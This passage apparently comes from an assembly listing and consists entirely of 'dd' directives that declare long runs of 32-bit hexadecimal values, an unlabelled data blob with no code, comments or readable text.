		dd 313291DFh, 7C8A1ABFh, 2FBDC503h, 31B45F12h, 5A95BF84h
		dd 922096A0h, 52D0DF4Ch, 54EE3919h, 4AA11D72h, 41EC306Bh
		dd 37A9BFDEh, 0EF1BEBB9h, 4101A887h, 617D86C2h,	20892658h
		dd 0D7ABF350h, 4685F749h, 1CA1B3DAh, 1B2E1860h,	0E36FFB19h
		dd 0EC140E57h, 0B9739425h, 0DEC60E79h, 6F4A4D0h, 76A4B9F0h
		dd 188B5423h, 9630E631h, 0C0C28FA3h, 0B2BAB0B9h, 5A6DB181h
		dd 0FBE6F09Dh, 8DD60367h, 0BD8CCF5Eh, 56D77463h, 2A79E755h
		dd 8BEA4B1Bh, 76B13AA5h, 656816D1h, 8799702Fh, 0BCC90D4Ah
		dd 0AD108633h, 0C00F5EA4h, 4C1AEBD6h, 1B321684h, 96A86FA5h
		dd 2C5611EFh, 0E55A4215h, 0E5AD062Bh, 1687AA2Ch, 51C1BEF7h
		dd 0BAD114DFh, 0AFBC8418h, 6D050616h, 0F94C2B89h, 4D558C1Eh
		dd 0D16D4630h, 611EBED6h, 5434F430h, 613DEB8Ah,	9636DF3Fh
		dd 6C6E5634h, 0C526C3AAh, 329D8C91h, 84A3A038h,	740EFCFDh
		dd 0B4FD1A45h, 2A74B575h, 3C1C4AABh, 0A58C0FD8h, 5810550Dh
		dd 0F13C81A7h, 5DD26FD4h, 0EAEF1A46h, 21822BEEh, 0CF5CC18Bh
		dd 0CC31E209h, 43584D77h, 6450129h, 0ED75BB30h,	0D42368B7h
		dd 5F0E117Eh, 0A5B5A9CCh, 0AF50F5A2h, 0C21BF58Dh, 0E45B0D7Dh
		dd 0FBFAFA92h, 15A406A5h, 0D4352155h, 0D42758E2h, 0B2283E45h
		dd 6385F7F5h, 0FAB8F4D4h, 3EFF7806h, 0AE74F5D0h, 1DC8B6C2h
		dd 2D8CB850h, 0FA26DAD2h, 254E115Bh, 14E3415Bh,	0DBA83374h
		dd 0FAE286A3h, 7FBE50E6h, 0EE4CA34Ch, 0DDA0F5FAh, 2425636h
		dd 0C9FA7060h, 7B373865h, 6A8B7094h, 72435045h,	2E1163D9h
		dd 0B929FB37h, 0AA6E5860h, 89FDCD07h, 0FD9B9708h, 0CF985C8Ch
		dd 0A15FF65Ch, 5FB3777h, 6F5717BDh, 0AFD97294h,	0F66EEF42h
		dd 0BBD77A6Bh, 97089ECEh, 0C3C93D9Bh, 0F265E06Fh, 9205D854h
		dd 0E7A84969h, 6D15C962h, 84F2A2ACh, 0DCAECAh, 0A18D977Eh
		dd 0E5C758EAh, 83B4E058h, 0DA343771h, 147E6C71h, 9D9868A6h
		dd 0B66E30E3h, 5A235C26h, 0C61958DBh, 7927A92Ch, 8CD70AE0h
		dd 0F2C19986h, 0B4EAEB2Ah, 9A95448Ah, 0B7C6937Dh, 3FA8F5FAh
		dd 0AF33E42Dh, 86DABABCh, 8D95F575h, 467C3E30h,	0E7774152h
		dd 8C958A57h, 4E234BBDh, 0A077D3D8h, 5C5C849Dh,	8336E790h
		dd 11EC3B0h, 0EF7A0C1Ch, 0D2051523h, 9EE188F0h,	0DE3ABADAh
		dd 7A1DA48h, 872644D6h,	92FA09FDh, 0EE8F81B4h, 0CACE729Ah
		dd 6EE3F2B4h, 0D61E551Ch, 32562E7Bh, 318D33FBh,	52CB9A9Ch
		dd 0AB1A8E78h, 29846BEFh, 0F668695h, 866E6C80h,	69155B59h
		dd 0AD7FA810h, 210E970Eh, 0AB98825Eh, 97B33178h, 0DBD6B470h
		dd 4DFB8C3Bh, 92B506Ch,	0FBE4D3E8h, 2C86EE63h, 47D50171h
		dd 0FC53D6E9h, 4DAB9277h, 0BFAE365Bh, 53D49AA7h, 0A11D8928h
		dd 45A5C4FEh, 34977B15h, 740C2D20h, 0FDB1CAD7h,	4188DA1Dh
		dd 62790F93h, 3E515D63h, 0C6E888E8h, 4AE00D49h,	0D891D72Ah
		dd 0BD6B0828h, 82D0D5C5h, 0B03D73D7h, 0CF0B61BEh, 81E580A7h
		dd 686C2AFh, 0BE591B50h, 959D46EEh, 82935182h, 13636739h
		dd 424DA09Fh, 7032248Eh, 24397AACh, 0B58E715Dh,	620C6B15h
		dd 83F5D5E7h, 374A9E50h
		dd 3547AED6h, 6FCB2F6Fh, 249AD4ACh, 0D5978BE9h,	3E4B3C4h
		dd 0FA84A3D9h, 0AB838861h, 9B16A9B6h, 5853A94Ch, 87764BA1h
		dd 0CFCE1B36h, 840E7C63h, 0E65CB58Ch, 13835EB2h, 6D45EBA8h
		dd 0AEDD8011h, 0BF9A13B5h, 0C30CC889h, 9841B485h, 2D1DE88Fh
		dd 3C7FEB97h, 50CA2E60h, 89CE8F1Eh, 1844F8CFh, 0E2CC74D1h
		dd 512D22FCh, 9D6EB093h, 7391CD95h, 1BF5F5E4h, 0D3EEEAAAh
		dd 1B4FD53h, 0F5EAEA07h, 0D0E66A12h, 0D637D750h, 0CB748036h
		dd 0C75F5CAFh, 0F5E1603Eh, 0E0BDCB83h, 0BFA061Ch, 39684375h
		dd 2D7441ECh, 0B71BAA97h, 24EB2AB8h, 2358A852h,	820BB0E2h
		dd 0C09C4407h, 853694F4h, 483556E6h, 0F408C6C7h, 2E85565Ch
		dd 9162399Eh, 3185D6CBh, 0DD1DA3E4h, 0A96C6090h, 0FF20825Ah
		dd 362A0A98h, 68EF962Dh, 0F0E9C2BEh, 7C68F1EAh,	6A4DD0EBh
		dd 65BCA62Fh, 35A1CA7Ch, 0B9498D37h, 18E4FA1Bh,	0ED73C03Fh
		dd 0D0DD78B8h, 20312227h, 73B8C6F7h, 2BBE6E59h,	0D57A1D7h
		dd 53D39913h, 6C27575Dh, 94888C86h, 0B0A1674Ch,	26145744h
		dd 0C784B81Bh, 69717071h, 0B32A7E51h, 0CCE13F42h, 55B54B16h
		dd 7746D278h, 126C6D17h, 26A2372Bh, 0AB2D9A73h,	1DE686ABh
		dd 147636AAh, 646AE131h, 5AD575F5h, 0D776360Ch,	0B29CF65Dh
		dd 0DC8E95DCh, 32F73995h, 86E313F6h, 1BEB0DEAh,	2C5D7A0h
		dd 40281525h, 0A3CA4228h, 300D948h, 0F931FB24h,	0D51A00D9h
		dd 4A06F863h, 8C87630Eh, 6236DD20h, 0DBE1DFC0h,	8CB40F7Ah
		dd 0D4D8CE7h, 86B17A90h, 3AB882BDh, 245FEED4h, 0ECFC282Ah
		dd 3186F4F7h, 0AA2AC1BDh, 0E0ABCF49h, 9DA35F5Ah, 371BBFB1h
		dd 0EA226FADh, 0C28DF13Fh, 80A8647Eh, 0F98A5AD7h, 0F58AC453h
		dd 0EC81D61Bh, 0C0A869D8h, 66C6FAA9h, 61429A76h, 1BD01FDCh
		dd 0F18DD3C6h, 22CE8250h, 8078D28Eh, 3F3E46E2h,	0B10B0232h
		dd 0A0CA137Eh, 369B1A3Fh, 0AF660969h, 0D4268FA3h, 308DB2F8h
		dd 0CDE2D7D0h, 8439488h, 9B182F4h, 5F046F58h, 3491467Dh
		dd 0FD13BF4h, 4331E6D4h, 0CAA6D345h, 0B1896C75h, 58484F86h
		dd 2686B1B9h, 1AC6552Eh, 0AD99EA11h, 9CD0D633h,	0A1AC6DC5h
		dd 0D3104EE9h, 90FBA944h, 9A698C52h, 84D8AC63h,	7764CE51h
		dd 56E14055h, 0A4DEAC6Ch, 560E4C97h, 42DCBCC8h,	1ED11A8h
		dd 0AC645355h, 750CA906h, 0A0A3B100h, 4EC51E41h, 128ADE57h
		dd 594AC6DEh, 0D4BC0545h, 0DF6F246Fh, 6F685431h, 906D306Bh
		dd 54358C6h, 0A71015B6h, 0DBFB401Bh, 7767C950h,	0CA8AB04Fh
		dd 24D4AF2Ah, 0D554D456h, 68DE6336h, 0BD73424Ah, 63531423h
		dd 0D6CC3375h, 45236DF1h, 977A47FAh, 0CE611A1Ah, 51306F8Eh
		dd 9D509F63h, 0AB2E7A71h, 19BCDBC8h, 121C4A46h,	0B19EBD35h
		dd 0E6CED029h, 8533308Ah, 0E7D4D444h, 0AE694E4h, 0DEF2B39h
		dd 62FADF7Fh, 9F0131DBh, 0D130CDCFh, 9E1D3DF7h,	801EF701h
		dd 6F1B007Dh, 3363B035h, 1756FD70h, 0EB4B1508h,	880B75B5h
		dd 0C7018A84h, 0B9236958h, 0EAB975B5h, 0EFF57626h, 0BFD5DFEAh
		dd 0FF577FABh, 0FD5DFEAEh, 0F577FABBh, 5FBFB2EFh, 0EA6CCABEh
		dd 0E16D836Ch, 0BCD831Ah, 0FF9C0320h, 0F5ED832Fh, 4BB60D0Fh
		dd 0E0EDA356h, 67EDA329h, 44F95C1Fh, 4AD1EE3Ah,	8B64D5BCh
		dd 81BDA003h, 676C98B7h, 0F600FA00h, 0D806EC03h, 0B002D001h
		dd 9001C016h, 60009001h, 0D9B81806h, 700E3B64h,	8019E018h
		dd 2D009Dh, 25801Eh, 710029h, 17C04923h, 60E00FA0h, 961FDF12h
		dd 0EAE096C7h, 0B987BB16h, 0A32B2159h, 4C3DCF4h, 12B27378h
		dd 0B11582B6h, 0E0316CA5h, 6612B604h, 118045EDh, 0A8E83E58h
		dd 4DD48C25h, 45B02508h, 3088B7E0h, 425F40A5h, 870852F8h
		dd 2E4B9161h, 1C4096E0h, 40A420CBh, 5E232E71h, 6D395002h
		dd 0D7C9F119h, 7378C1E2h, 50017429h, 0E76F1116h, 0DE8C6915h
		dd 8A5C45Ch, 0E394F3C2h, 56DE139Fh, 757F0500h, 172E246Ch
		dd 6E53E77Ch, 923BC49Ch, 3C832E16h, 9B73C1F2h, 0A98C784Fh
		dd 0FDC77204h, 3177052Fh, 0C72E9E5h, 942977A6h,	86568169h
		dd 25687548h, 0AFF4425Ah, 0F4BCE8A2h, 8EB8774h,	0CA02BCF3h
		dd 797E172Ah, 45B4C27Ah, 0D8E7C580h, 3473D2BAh,	38F4FEB6h
		dd 5A109Ch, 54758AEh, 5715CB94h, 0D61FE1A0h, 0E057D979h
		dd 0E733D6C6h, 74E45C5Fh, 0CC5D2D16h, 0DC8285F2h, 6B4025D2h
		dd 1AA2B0DCh, 56840FBFh, 999B19DBh, 0C172B192h,	99263702h
		dd 75A7AD2Dh, 93DF110Ah, 75569688h, 5494CCC7h, 696E03FEh
		dd 1FF0BC01h, 3D94DB0Ah, 15262713h, 99FCDC8Eh, 4F40D955h
		dd 5CDD525Ah, 90E4975Dh, 0AED5D5D6h, 8AB5C24Fh,	6732847Bh
		dd 54C0AC9h, 0C9657FE4h, 0A5A2DC8Ah, 1516CB05h,	0DD233895h
		dd 2FC24BC8h, 2B79650Fh, 112DC84h, 5614EF12h, 801584B8h
		dd 0F270B2C1h, 4525BCB7h, 76C852C2h, 441292EEh,	162DCD2Dh
		dd 0CB05E858h, 0F20CB722h, 5DC92CEBh, 87C844B2h, 8D566638h
		dd 803C61C3h, 6A9B994Bh, 379F4B4Fh, 7733233Fh, 0CE141E51h
		dd 0EFBBC2E2h, 58EA5E29h, 0D4A4A2BEh, 46595EE5h, 7EF1BA33h
		dd 0ADA55978h, 1FD8C6FCh, 3B843F2Ah, 0E81D8A4Ah, 0D7A63567h
		dd 0B82F915Eh, 0A84F28Ah, 790A561h, 0C85253A5h,	0CDE6D352h
		dd 53DBB34Fh, 9F9FCEE7h, 0FB0E0A9Eh, 0A5A6705Ch, 379D4BCEh
		dd 842E7337h, 9A919B99h, 0CA7E7F3Eh, 9E91F43Ch,	2F399A96h
		dd 7A4A6E63h, 7CCA667Ah, 297D49F0h, 5359DA1Bh, 258AE963h
		dd 96C50F78h, 931BDC26h, 0E6C4530Bh, 5D373E4Ah,	5A216D24h
		dd 6A12C17Eh, 1CCB7918h, 72138245h, 0F94DCCBDh,	84E50BBEh
		dd 5459C8B0h, 92BF9022h, 896162A2h, 74B25050h, 5EF43B99h
		dd 898A0CB2h, 0B451C5EAh, 0A7E28042h, 0F95E2F2h, 3F44ECE5h
		dd 842505B9h, 0B97ADDD7h, 6C3CEFEBh, 0E862543Eh, 4A34959Dh
		dd 0AD35ADBCh, 4F82F6A6h, 0CD58D8ADh, 97F61794h, 733EE575h
		dd 463AF174h, 3E80DC5Fh, 6B7E2279h, 592C3C84h, 0BB8F7796h
		dd 0E2C98490h, 2A62FCFCh, 4B659287h, 5DBCA584h,	0D8CEAB68h
		dd 0DCCE60CCh, 18DD5CD8h, 0B9A2C6DAh, 48CD4B19h, 9F619F99h
		dd 979CCF6Bh, 2535373Eh, 0BCDE7D33h, 0F9D4F4B4h, 7369E969h
		dd 0C0D333D3h, 5A5A6A5Fh, 6E6D3D8Ah, 0FCFB5CDAh, 32F379CCh
		dd 19EC32D3h, 33509969h, 0E9F9EE0h, 5A667B74h, 9494FCFAh
		dd 8BAA0CB4h, 19A91979h, 409919E9h, 0AA1F3B98h,	37329EC7h
		dd 0A7B02205h, 4DCFA5A5h, 669A979Bh, 0DAF9AC67h, 0FF16F717h
		dd 90AFF922h, 0FE9969Fh, 0AC161E42h, 0D4BE4686h, 0F8AC2059h
		dd 0EFBD9FFh, 0B68A2AC0h, 2414DDDh, 483A1242h, 685A10F1h
		dd 0A42F7B61h, 42108101h, 0A4215D0Ah, 9391A4Bh,	8A8BA51Dh
		dd 8A8A028Ah, 2A204288h, 89A505Dh, 820A020Ah, 7E28888Ah
		dd 28A8A8A0h, 9488A8A8h, 3D9ECCFBh, 7E2049C9h, 0FBDFF7DFh
		dd 7F7BBF5Fh, 0DDE64E16h, 0D9D999D9h, 0BCF2DE77h, 11BBB3B3h
		dd 28524329h, 56578EFBh, 66717166h, 0E64C6B86h,	0A1495744h
		dd 0BC7320ABh, 3D2D3F2Bh, 0D320B727h, 56939E15h, 0AD3E319Ch
		dd 1715D338h, 0EEE0EAE3h, 992EBF5Ch, 82415479h,	0F1543942h
		dd 479154ECh, 9BC1A5D0h, 0D4DE0E37h, 42ED87FEh,	9346E0FDh
		dd 0D3A478DFh, 9E9514C7h, 0AA425C59h, 0C4765E13h, 0AAD1BB2Fh
		dd 7AB2F8F2h, 1F1B687h,	65D9C72Dh, 39D857A6h, 0D8B7A5B2h
		dd 2BF868B6h, 0F9AB57C2h, 0DA4BAD06h, 21EFC7D8h, 0BA2FF179h
		dd 6B0ACCF6h
		dd 0EADC5210h, 78479D84h, 4EF10F1Fh, 8A58E48h, 88B9BBF3h
		dd 0FAAB749Ch, 805D89Fh, 925F6D9Ah, 0C6A7FAE3h,	2BC2443h
		dd 0C727EA41h, 5B775h, 1D90B21Bh, 174FCB6Dh, 12E222FCh
		dd 1CDB6CE2h, 91DB0497h, 95CB609Ah, 0BB00C2DDh,	1ED5DEA3h
		dd 0A7FA3DD1h, 0FEFD93A5h, 0F93E6384h, 9965B3C8h, 80542908h
		dd 37CA20D8h, 0D26CC88Fh, 0DEC894C8h, 44CEEDBDh, 4948480Fh
		dd 489F101Ah, 0EA4002EEh, 2406E393h, 8FF6A424h,	697FC8F2h
		dd 62EE6D84h, 82F4FA13h, 4A4D8B15h, 194B3184h, 57FA78C4h
		dd 196AA335h, 0EEB61CE8h, 0B2D54FE4h, 0F88ED114h, 55A5CF48h
		dd 49157F5Dh, 480D2625h, 63622B01h, 0C7C5C57Ah,	0AA8396DAh
		dd 0BF6479Ah, 5DC84B8Bh, 0B97BC20Eh, 37684073h,	57E3DAFCh
		dd 0DF323F0Fh, 83DC9BD4h, 50599718h, 710C999Ah,	416FB4CAh
		dd 4A489D10h, 8789888Eh, 65664782h, 0BA18C5C5h,	69A1AE49h
		dd 4DDFE9ECh, 0BB20FF5Bh, 7EB80599h, 14C8BFF8h,	2608CC8Ah
		dd 0DCA38B0Fh, 90C906F0h, 3406375Bh, 1A862139h,	51C9328Fh
		dd 68C15409h, 470C0BF8h, 13490141h, 5AE87CA8h, 2A24C8FFh
		dd 0F1A48F3Fh, 31C298D4h, 0FD01BF54h, 606331A8h, 518723D7h
		dd 9A480A63h, 93718D40h, 27BA8E34h, 26FAA28Dh, 73135026h
		dd 51C5C691h, 0E388664h, 1B42F7EDh, 97BA7293h, 0D2E3278Ch
		dd 0E9D08527h, 4C9D3605h, 236FA145h, 5217E741h,	0FD3EB0D4h
		dd 49367729h, 319CA8E3h, 0A543ED24h, 2FC68B0Eh,	8A4D4A8Ah
		dd 97908AA3h, 8D43149Ah, 0F701D721h, 3E4B9596h,	4A8BD8AEh
		dd 27264C86h, 0A9495145h, 1A4A9FDh, 5C22A883h, 6F4A625Fh
		dd 4931746Ah, 0F402A8A3h, 63E213Fh, 0A045D03Fh,	8BF11363h
		dd 901746A3h, 20E04A99h, 83322E78h, 6F029719h, 0E54C949Dh
		dd 257B0043h, 1E2FC7F5h, 0A2FC68BFh, 9262ACA8h,	39914917h
		dd 61E4D8E1h, 0E9DA954h, 8A497F05h, 34931673h, 0D3B34A95h
		dd 0CEC8AA64h, 4E482A07h, 90BD2A4h, 0F03F003Dh,	0FBA10274h
		dd 2479E953h, 720AA78Dh, 2DEB8A49h, 2A1F6920h, 4A81DC9Bh
		dd 0A6654DEEh, 0E517B493h, 58D2471Eh, 236EC32Ah, 0DBB74A86h
		dd 6346A68Fh, 0CDFC1F3Fh, 38D1BD45h, 8C4D9917h,	0A514B5C5h
		dd 2A923491h, 77644498h, 3C693518h, 0E4530749h,	426C657Eh
		dd 0DA42552Ah, 224EBC87h, 0CFD012E5h, 5226921Ch, 40F2EDA3h
		dd 0A97D0919h, 0A877D25Ch, 9268F66Bh, 44254702h, 0A54517E3h
		dd 48FD9295h, 8A4EAC8Ah, 2FC54D89h, 252BCA99h, 97953C74h
		dd 8A68D24Bh, 0C4C779CCh, 0C3915246h, 7630EF80h, 32365113h
		dd 66952869h, 17F38A7h,	137B2149h, 8D4C9A49h, 40E9234Dh
		dd 0A49F30AAh, 7B7CA803h, 67953FBFh, 91CC871Fh,	0FA926EE7h
		dd 9214F751h, 4B1B7D14h, 0E5D8C52h, 1950FB49h, 7E0A4893h
		dd 96349365h, 0D24D1BCAh, 768DCA28h, 7BBF1D2h, 6CA3A6EDh
		dd 33391A5Eh, 79C589E8h, 58C4DE36h, 0A78D4B0Eh,	7064086h
		dd 0F67901C5h, 0C052A24Bh, 2B9C14F7h, 0D298D705h, 575C3F07h
		dd 0C87F644Ah, 0C0DB5018h, 7E392A38h, 0FDC9510h, 9F320CC8h
		dd 590C9A94h, 4FF5BC83h, 0FBE312A6h, 1BC88951h,	0C7F57E80h
		dd 17EFF698h, 8A0FC543h, 6B00AE83h, 0DD0BE80Eh,	90E2A148h
		dd 2C6867DFh, 0A1F607D5h, 0AA20D24Fh, 0D8D21C4Fh, 6A77AA28h
		dd 80D7AA5Fh, 0A84B6264h, 5481D4D8h, 3BF00A6Ch,	0ED063A14h
		dd 0A2BE4345h, 77AA3751h, 9E24F412h, 44DC848Ah,	0C547EAF6h
		dd 0D9E482C3h, 0AA0D440Bh, 0FE2097A3h, 9268EBC0h, 0D20BB373h
		dd 918B4A4Ah, 0F131EC4Dh, 0E2C4A527h, 9E3F8DDh,	0CAB183E8h
		dd 212F4D28h, 0CA4A92A6h, 0EB9A5B1Ch, 0C40025CEh, 0AE298FDEh
		dd 9142D258h, 1B27D80Ch, 0D2E9746Bh, 0EB3E5C5h,	2BB3BC2Eh
		dd 2F372D2Bh, 0BADA333h, 8E7AEA47h, 3783B557h, 78CBB114h
		dd 0C55DC527h, 170E899h, 0B926683Ch, 0DB72EAEDh, 8A2A9E77h
		dd 0D0DF652h, 0D884A735h, 86540EA2h, 1EF4DBEDh,	0A2B4C2EEh
		dd 6A7182CCh, 6A20016Ch, 69A65161h, 0BFE776DBh,	4E67F04Ah
		dd 5B914949h, 0A2DE41EDh, 2484D36Bh, 0B332D2Bh,	67C7BA4Ah
		dd 0E4976416h, 0D696F7C0h, 6FBC4BAFh, 0C4C880F2h, 0AA37BB48h
		dd 9C29CC2Bh, 5B9D9B91h, 9C579692h, 9111E40Bh, 23DF985Eh
		dd 949193C6h, 0D2539D9Bh, 80B33B23h, 5620C4ACh,	0BFE3CC3Bh
		dd 0D236FDFFh, 332F883Ch, 0B33D373Eh, 5FF99DC0h, 0B77BC76Eh
		dd 893B6ABEh, 0F9D969C5h, 0A0ABAA69h, 0F03A7BB0h, 8DC92648h
		dd 67774426h, 43D569BDh, 77429F54h, 85B2EA89h, 9DA4072Ah
		dd 76966E47h, 0E2B5C48Fh, 0B48DE208h, 0BCBCDC8Ch, 0FEA498C2h
		dd 9A08983Dh, 522B2014h, 0AD2C708Ah, 1452B3C8h,	0A647B69Dh
		dd 0BCFC84EBh, 3372556Eh, 0BB33F372h, 1AC9F2B9h, 0E2B4A2A6h
		dd 99C51E92h, 4650A164h, 0E6495737h, 5D1E9284h,	6C7798D0h
		dd 0D54162C8h, 34568D93h, 0DB643A57h, 9462599Dh, 97756496h
		dd 40712E51h, 13400A72h, 93EAE7F9h, 0EDE89292h,	0C2644DCBh
		dd 0F2AB83E6h, 0C6615440h, 85D33B44h, 492FBB4Ch, 0C3245999h
		dd 6A5C0C85h, 425E5A6Eh, 0CCE8FE69h, 7704D762h,	0DEE4AAEh
		dd 0DC136119h, 2447AA19h, 6E0ECCC3h, 0CC53E5B4h, 17A5CB69h
		dd 5FCEEAFBh, 0E52AE54h, 1BDD49B5h, 0EA2FF754h,	69D650DFh
		dd 0ABABC323h, 0A2B7517Fh, 0AD27538Ch, 579FFF38h, 71542CAAh
		dd 8D6499ADh, 46667A5Ch, 352FA71Fh, 0DEA9705Fh,	15C2C6E3h
		dd 0C6BB90EDh, 97FEC819h, 70B1B9DAh, 85193B45h,	0C8F20BE3h
		dd 62BFA3BAh, 9F21657Ch, 7662331h, 0E397FBFAh, 3D3194E5h
		dd 0C59D4A75h, 0C5517F03h, 3CE2A45Bh, 0FB1B5E45h, 0CA2A9517h
		dd 3D036338h, 0B3C92DC8h, 54D64517h, 0C82DCECFh, 4AC233CDh
		dd 0F5859010h, 0A91FF1B0h, 0AF2FE63Bh, 0B5C54C68h, 0B0E70BFCh
		dd 0E729546Bh, 734A2DD4h, 1617C7BBh, 25D5FC67h,	757C4539h
		dd 86E99FE4h, 0FA50FD7Dh, 0E05AB702h, 0F5AF0D66h, 1A399F1Bh
		dd 0E56B254Ch, 210C2A23h, 0DC45EECh, 864D1156h,	3CABE7D9h
		dd 3B51DA0Bh, 0BB2DC1B8h, 48218F55h, 0DD968AFh,	0E69F97E3h
		dd 7251C08Eh, 38B0A228h, 0B81636DBh, 0CC2F4E8h,	9847AD74h
		dd 6BC436Dh, 5C9D9BC4h,	0F79E1132h, 2C056BDFh, 571C9AF0h
		dd 9611866Eh, 0B987419Bh, 0C5A90E9Ch, 46258585h, 0EB94ED18h
		dd 0D066E051h, 217EC76Bh, 0CAEFB3C3h, 32CCCE29h, 9A91DAC2h
		dd 0E9D73C3Dh, 0F7F98AF0h, 41EBE579h, 0D0363CC2h, 13FF9A7Bh
		dd 5C7B0B57h, 0FA7AEACDh, 0ECA9918Ah, 11F1F8EBh, 1BB39E3h
		dd 1E99A696h, 27C7FA43h, 0CF778DDBh, 8494D675h,	0F8CBD4F9h
		dd 13ECF5E7h, 40DDD5EBh, 0F71FB195h, 0A7875CAFh, 2C3AF79Eh
		dd 0F38D7094h, 0C234158h, 0E5CC26DEh, 2C2354BDh, 7757A535h
		dd 6D32CC39h, 4B9595FFh, 0C988E4E6h, 95341370h,	0C42DC249h
		dd 0C4F9BE00h, 0FAF15667h, 0A1AB0515h, 55506A01h, 0AE515EAFh
		dd 7C47B79Ah, 2A448158h, 93A0F8CAh, 9C5855Eh, 67C42985h
		dd 0D72F18D9h, 52AD2EEDh, 0C8AE2A94h, 0EA8F52ABh, 22E6EEE0h
		dd 18B03C13h, 11A8D794h, 7B1547Eh, 0C4377D76h, 9954A29Ah
		dd 0C6DFF0A6h, 9F3D865Ah, 58099253h, 5B2F6257h,	3CE4501Ah
		dd 835142B6h, 12E212E3h, 0E0EC5362h, 9CED83D5h,	7544E01Eh
		dd 92EBB83Bh, 0AFCF5673h, 0EEE981C4h, 8E0F52E2h, 0E5EDF677h
		dd 444D0E2Eh, 0A5963EC6h, 0E93B9ECCh, 0E54B8891h, 0A7DB837Ch
		dd 62B4F9D4h, 0E754639Eh
		dd 0DE4D1647h, 6EDBEDC8h, 41BCE7CFh, 5EDDD495h,	0E179EC3Eh
		dd 9A3DD3D0h, 0BC6F8D05h, 0EE5D94FFh, 7F22AA63h, 28DA109Eh
		dd 0F15B99CDh, 67A9CDE6h, 0BD247DD7h, 3198EF9h,	5E070AD7h
		dd 691698E2h, 0F15C4FF5h, 0ECFE45D6h, 7D87CFE1h, 8098CB6h
		dd 0FB1D271Ah, 0CFEB6A21h, 8E3F4321h, 8592590Ch, 0FABF057Eh
		dd 0A517DF42h, 4587AF03h, 0F36A2934h, 0A7A8D5FEh, 7B76054Fh
		dd 24B1BBB5h, 6F97636Bh, 0ED6F8259h, 0CA9AD8A9h, 8E5D885h
		dd 62941BB6h, 8C099A4Fh, 45D992C2h, 5E381641h, 95912566h
		dd 68944564h, 5E38E64Eh, 225A0494h, 0D1B173F3h,	310949D1h
		dd 287B1304h, 8BAB1E7Bh, 0BF89BF3Dh, 0D4695979h, 7420253Ch
		dd 2B237E02h, 65267616h, 9102CFDAh, 0C5CA9F79h,	9275889Eh
		dd 19F64210h, 2D48DA4Ch, 0ACF0CDCDh, 93A5F300h,	94155C89h
		dd 2A8DC478h, 2E2F4A2Eh, 81AB3DE1h, 93BBB83Ah, 69F1502Eh
		dd 0CEA5D905h, 314D357Ch, 14714B14h, 4894094Fh,	294C9449h
		dd 45152454h, 35F7DB45h, 4A5A69ECh, 11507AA5h, 246A7754h
		dd 0A91D5165h, 6737C97Bh, 1FDB9EDh, 0B47AECF6h,	0CC812773h
		dd 0F29993FCh, 42DEFB44h, 0D01EE71Fh, 2311B6CDh, 0AB444622h
		dd 8AF6D9C0h, 42DCA8CEh, 0D7D8C77h, 7195FB95h, 8C6E178Fh
		dd 443C2EF0h, 414F08F6h, 5DF3BCAh, 9FD5525Eh, 0E9EB22C5h
		dd 0CFE911FAh, 2CCF58E3h, 0F38D780Dh, 9A19F626h, 191D171Ch
		dd 3714931Fh, 0BA269628h, 0D56B6053h, 0B202DCE0h, 2A9ECE4Ah
		dd 3E07CE4Bh, 131C941Eh, 3D826831h, 985716B7h, 0E71A3A5Ch
		dd 91B4E11Ch, 34511FDCh, 42B1DB8Eh, 4C5C7274h, 6F3F725Ch
		dd 0C69F64FBh, 8E4E0DB5h, 4CCBCE8Ch, 0B22D282Bh, 3412E4E9h
		dd 82E4E849h, 92D4A2FCh, 0B901BCDCh, 0F9D10919h, 0D1FBBE45h
		dd 0EC837E64h, 0C004EC7h, 2B6FD727h, 0D23CB56Eh, 910FE24Bh
		dd 6B945697h, 742E6C0Fh, 34773F3Ch, 8A6519E3h, 4766EF1Ah
		dd 6E19577Ah, 61CCF78Ah, 3FCC7DD5h, 0F2680974h,	8F6B8126h
		dd 2CE87FAh, 0B94D564Dh, 9687F817h, 64DF2680h, 0FF71F3FDh
		dd 0E4D00CD0h, 910DE2E5h, 7C9A089Fh, 6827ADADh,	0D06D741Dh
		dd 0F6E822Fh, 0EF4083Ah, 3740F5D0h, 0A16CDD00h,	7EA5E87Fh
		dd 9DE4A101h, 0FF223FE4h, 0A046E814h, 23E833Bh,	0AFFB7C9Ah
		dd 16CCA35h, 5E7404DDh,	32E85FB9h, 6F414DD0h, 741F3D03h
		dd 4E536233h, 34E87FAh,	8BA1DCDDh, 3D00B740h, 80877519h
		dd 0D86B9F26h, 6827BA04h, 0D4ECBAF2h, 0DB42FD07h, 0D0E56E83h
		dd 835BA0A1h, 87F91796h, 101BE95Eh, 0A7F406DAh,	2680CFA0h
		dd 788965EFh, 3F743FC2h, 463F7268h, 0BA1FE5AEh,	0D05B741Eh
		dd 85F8B633h, 61D012Eh,	0E806ABFAh, 0E476E803h,	0FF7CC23Eh
		dd 0EDD01CD0h, 0BA8EBF41h, 0FC89A0F1h, 1E7C87DFh, 3E079934h
		dd 6839BA04h, 0BF53AA8h, 0C9A052EAh, 0FEE8EB7h,	0E8DEF1B9h
		dd 3DCF38B9h, 7EA5F3CAh, 7A1D47A1h, 0D0BF38E3h,	157D0E3Dh
		dd 0AE876AF4h, 742FDE3Bh, 5DF43B1h, 1F439A7Ah, 9A17E099h
		dd 0CD3FD0E3h, 0E3ED0BF7h, 0FC4BFDD0h, 0FA1DC342h, 1CF5D05Dh
		dd 75CE1FBAh, 7D254FA1h, 59FA1D4h, 0BF27C3BDh, 7333A1DCh
		dd 3A1742FCh, 9C62A2F4h, 804FA1D7h, 38E873CEh, 10E85FB7h
		dd 74127E87h, 57F438Ch,	2EE8769Ah, 5B42FD13h, 0C9E6F439h
		dd 6F438FE8h, 7A17EA9Ah, 0FFD3B7A5h, 0CF42FCFBh, 69DB743Ah
		dd 1F439BE8h, 0A1C3BD07h, 0DF474C3Bh, 0E8117A1Ch, 19FCDE85h
		dd 1C53A17Eh, 8674163Ah, 1D05AF43h, 3345D0EFh, 876542FDh
		dd 0E5DA07DEh, 0F9662DD0h, 0F4390685h, 4FE0D9F2h, 3C9D0F2Fh
		dd 0B8F42FC7h, 0FE403743h, 833E877Eh, 32DE2DFCh, 1C8C63F7h
		dd 0CBD041FAh, 0E8377A1Ch, 76DD0EF9h, 2CE85FAEh, 5D038E87h
		dd 0D06ED0E2h, 0CFD0E19h, 0FE8714E8h, 874F741Dh, 2FC07E8Eh
		dd 3F439BB4h, 43B9BA0Ch, 5FB0FC7Fh, 5F43A068h, 0D62E7D04h
		dd 0E023E7E9h, 0A0B3439Bh, 32743977h, 3D0ED5E8h, 8742F415h
		dd 8A7A055Eh, 9D02EF43h, 809FD0E3h, 9FE8714Eh, 0E874F741h
